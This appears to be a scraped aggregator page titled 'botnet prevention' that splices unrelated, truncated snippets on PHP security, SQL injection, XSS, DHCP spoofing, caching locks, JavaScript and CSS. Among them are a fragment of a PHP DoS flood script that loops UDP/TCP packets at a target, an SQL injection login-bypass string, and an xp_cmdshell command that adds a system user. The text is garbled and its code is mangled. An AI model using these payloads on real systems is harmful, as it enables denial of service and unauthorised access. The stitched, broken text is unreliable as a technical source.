botnet prevention

This article introduces phpsession hijacking and prevention methods Session Data exposureSession Data usually contains personal information and other sensitive data. For this reason, session data exposure is a common concern. In general, the exposure scope is not very large, because session data is stored in the server environment, rather than in the database or file system. Therefore, session data will not be publicly exposed. SSL is a particularly e

Php attack prevention measures. Recently, my website was often attacked. I came up with a method to use php to prevent the website from being attacked. below is my code. the code is not the best. I will do it based on my own needs, recently, my website has been attacked. later, I came up with a method to use php to prevent the website from being attacked. below is my code. the code is not the best. I will do it based on my own needs, let's take a look

Php ddos attack and prevention code $ Ip = $ _ SERVER ['remote _ ADDR ']; ?> PHP DoS, Coded by EXE Your IP: (Don't DoS yourself nub) File: function. php // =====================

The prevention of cross-site PHP and XSS attacks has long been discussed, and many PHP sites in China have discovered XSS vulnerabilities. I accidentally saw an XSS vulnerability in PHP5 today. here is a summary. By the way, it is recommended that you use PHP5 to install a patch or upgrade it. If you don't know what XSS is, you can read it here or here (Chinese may be better understood ). Many forums in China have cross-site scripting vulnerabilitie

all forwarded to a payment server, into the payment link, see who deft on hand, at this time less people, plus lock what is simple. scenario Three, if it is a single server, you can use the Memcache lock to achieve Product_key key for the ticket Product_lock_key for ticket lock key when Product_key is present in memcached, all users can enter the order process. when entering the payment process, first store add (Product_lock_key, "1″") to Memcached, If the return succeeds, enter the p

on, as in the previous example, or else two repetitions will go wrong. If MQ is enabled, we have to add the \ minus to get the real data. In addition to preprocessing the data in the above-mentioned string form, you should also pay attention to preprocessing when storing binary data into the database. Otherwise, the data may conflict with the storage format of the database itself, causing the database to crash, data records to be lost, and even the entire library's data to be lost. Some databas

PHP + SQL injection technology implementation and prevention measures. Summarize the experience. In my opinion, the main cause of the SQL injection attack is the following two reasons: 1. the magic_quotes_gpc option in the php. ini configuration file of php is not enabled, so I will sum up my experience. In my opinion, the main cause of SQL injection attacks is the following two reasons: 1. the magic_quotes_gpc option in the php configuration file php

: // $ http", $ rand, $ errno, $ errstr, 5 );If ($ fp){Fwrite ($ fp, $ out );Fclose ($ fp );}}ElseIf ($ rand = 500)While (1){$ Packets ++;If (time ()> $ max_time ){Break;}$ Fp = pfsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );If ($ fp){Fwrite ($ fp, $ out );Fclose ($ fp );}}ElseWhile (1){$ Packets ++;If (time ()> $ max_time ){Break;}$ Fp = pfsockopen ("tcp: // $ http", $ rand, $ errno, $ errstr, 5 );If ($ fp){Fwrite ($ fp, $ out );Fclose ($ fp );}}?> For cc attack

, which assumes that the network problem is divided into two parts. 50 nodes and 50 nodes, so that the entire cluster is not available, due to the way in accordance with the quorums must be 51 nodes to ensure the selection of 1 leader. It is possible to use the weight weighting method. The weights of some nodes are high, the weights of some nodes are low, and the weights are calculated finally. 1 leader can be selected only for half the weight Copyright notice: This article blog original article

of MAC addresses on the switch portIn addition, building a DHCP server in the network can cause 2 kinds of damage1, resulting in network chaos, the allocation of IP address is not available2, for example, hackers take advantage of impersonating a DHCP server, to assign users a modified DNS server address, the user is not aware of the situation to be directed to a pre-configured fake financial website or e-commerce website, cheat user's account and password, the harm of this attack is very big.T

Paip. Enhanced Security ----.net C # source code prevention of decompilation and source code encryption 1. First of all, during the design, the module dll can be divided according to the importance level, or different languages can be used for development. Important modules are developed using compiled languages such as Vc and VB .. 2. Variable and method name: use a language that you only know as a variable or method name. Do not use English or C

Prevention of resumable upload permissions on the FTP serverAssume that the ftpserver contains readme.txt, Which is 1000 bytes in size and 500 bytes in size. Okay. I started to do bad things.1. Connect to the FTP server (the built-in ftp://ftp.exe/can be used without authorization on the Intranet, because ftp://ftp.exe/uses the portmode)2、dir( readme.txt size, determined to be 1000 bytes)3. Quote rest 1000 (tell the FTP server that the file I want to

'' = ''and Password ='' or ''=''Cause: the dynamically generated SQL command does not verify the data entered by the user. Attack method:Exec master.. xp_mongoshell "Net user name password/Add Cause: 1). SQL Vulnerability2) database access permissions are designed as DBO permissions. 5. Attack prevention...1). filter input content (replace all invalid characters)Example: method 1 -- replace single quotes ("", ") 2) Check the validity of user in

On the 51testing blog, I opened a new topic: Automatic Error Prevention AEP. Http://www.51testing.com /? 141783/action_spacelist_type_blog_itemtypeid_3892.html AEP is a very good concept, especially for QA engaged in quality work, we should make full use of this concept and use it in practical work. It is not easy to implement AEP effectively in the project team. without the support of automated frameworks and tools, it is impossible to implement A

, into the payment link, see who deft on hand, at this time less people, plus lock what is simple.Scenario three, if it is a single server, you can use the memcache lock to achieveProduct_key Key for the ticketProduct_lock_key for Ticket lock keyWhen Product_key is present in memcached, all users can enter the order process.When entering the payment process, first store add (Product_lock_key, "1″") to memcached,If the return succeeds, enter the payment process.If not, it means that someone has e

JavaScript Memory leakage prevention and memory management skills, javascript Memory Management This example describes how to use JavaScript to prevent memory leakage and manage memory. Share it with you for your reference. The specific method is as follows: This article originated from Google WebPerf (London WebPerf group) in August 26, 2014. In general, efficient JavaScript Web applications must be smooth and fast. Any application that interacts wit

does not meet the requirements to end this request, instead, save the picture to the storage directory.Background code:1 Public classFileuploadhandler:ihttphandler2 {3 4 Public voidProcessRequest (HttpContext context)5 {6Context. Response.ContentType ="text/html";7 //get the file uploaded by the form8Httppostedfile file= context. request.files["Image"];9 //get file name extensionTen stringext=path.getextension (file. FileName); One

The bubbling event is a click on the child node, which triggers the parent node, the ancestor node's click event.Here is the HTML code section:Outer DIV ElementOuter DIV ElementThe corresponding jquery code is as follows: When you click Span, the div and body click events are triggered. Clicking on a div triggers the body's Click event.How do you prevent this bubbling event from happening?Modify the following: event.stoppropagation (); // block event bubbling Sometime

the wall:All two objects that collide are added collider, and the moving object is set to add a rigid body (a capsule child object is added to the camera, and collider and Rigidbody are loaded capsule's parent), But to prevent the wall from going through the rigidbody component of the constraints attribute, respectively, there are Freeze Position (x, Y, z) and Freeze Rotation (x, Y, z), fixed position and angle,Freeze Rotation ( X, Y, z) which axis to hook on, after the collision does not excee

larger of those.Icon:Another overlap is when an element is contained within another element, and there is overlap between the child element and the parent element, and the overlapping margin is equal to the largest of those:Similarly, if an empty element has no content, its own top and bottom margins overlap.Meaning of margin overlapThe overlap of the margins is only generated between the upper and lower margins of the normal flow document, and this seemingly odd rule has its practical signific